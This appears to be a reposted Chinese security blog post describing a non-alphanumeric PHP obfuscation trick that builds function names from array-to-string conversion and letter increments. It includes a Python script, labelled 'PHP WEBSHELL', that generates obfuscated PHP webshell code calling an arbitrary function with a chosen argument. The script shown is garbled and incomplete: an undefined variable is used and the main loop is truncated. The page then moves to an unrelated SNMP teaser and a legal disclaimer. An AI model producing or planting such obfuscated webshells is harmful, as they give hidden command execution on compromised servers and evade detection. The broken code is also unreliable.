这种php的数据表示方法是国外几个大牛提出来的。
蛋疼了研究了下,写出了个微型shell
简单说明下
$_[]++; $_[]=$_._; $_=$_[$_[+_]]; $_=$_[+_]; //使用数组提取字符串 $_++; //偏移 1 得B,如果不用这句就是A $_("123"); //将$_ 作为函数使用
虽然会报错,但是最后函数会执行。
$++ 的使用可以依次代表24个字母 A不添加 B添加一次,以此类推。
写了一个生成脚本,大家自己看着玩吧。
#!/usr/bin/python #! PHP WEBSHELL x={'A':'0','B':'1','C':'2','D':'3','E':'4','F':'5','G':'6','H':'7','I':'8','J':'9','K':'10','L':'11','M':'12','N':'13','O':'14','P':'15','Q':'16','R':'17','S':'18','T':'19','U':'20','V':'21','W':'22','X':'23','Y':'24','Z':'25'} _attr=[] _list=[] _fuck=[] def _num(s): tar=[] x='_' for i in range(s): st = '$_'+x*i tar.append(st) return tar code=raw_input('Enter Code>>>').upper() com =raw_input('Enter Comd>>>') for i in code: _attr.append(x[i]) start = '' _list.append(end) print ' '.join(_list)
应该没有哪里弄错,提供两个用户输入 一个是php函数,另一个是函数参数。
妈的四点了 睡觉去 8.。。。
文章来源于lcx.cc:一个另类的 PHP 加密算法
0x00 snmp协议简介 snmp协议即简单网络管理协议(SNMP,Simple Network Management Protocol)。目前一共有3个版本:V1,V2c,V3。V3是最新的版本,在安全的设计上有了很大改进。不过目前广泛应用的还是存在较多安…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论